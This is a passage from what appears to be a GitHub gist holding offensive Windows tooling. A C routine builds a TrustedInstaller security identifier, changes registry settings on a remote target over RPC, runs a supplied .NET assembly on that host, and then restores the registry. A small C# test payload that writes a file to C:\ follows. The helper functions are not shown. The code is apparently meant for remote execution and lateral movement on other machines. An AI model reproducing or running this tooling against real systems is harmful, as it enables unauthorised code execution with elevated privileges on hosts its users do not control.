if (!AllocateAndInitializeSid(&ntAuthority, SECURITY_SERVICE_ID_RID_COUNT, SECURITY_SERVICE_ID_BASE_RID,
SECURITY_TRUSTED_INSTALLER_RID1, SECURITY_TRUSTED_INSTALLER_RID2,
SECURITY_TRUSTED_INSTALLER_RID3, SECURITY_TRUSTED_INSTALLER_RID4,
SECURITY_TRUSTED_INSTALLER_RID5, 0, 0, &trustedInstallerSid)) {
printf("[-] AllocateAndInitializeSid() failed for TrustedInstaller: %d\n", GetLastError());
return 1;
}
sids.AdminSid = adminSid;
sids.NtAuthority = &ntAuthority;
sids.TrustedInstallerSid = trustedInstallerSid;
if (DoRegistry_RPC(target, FALSE, &sids)) {
return 1;
}
Execute(target, assemblyPath);
if (DoRegistry_RPC(target, TRUE, &sids)) {
return 1;
}
}
using System.IO;
namespace tester
{
internal class Program
{
static void Main(string[] args)
{
File.WriteAllText(@"C:\test.txt", "Hello, world");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment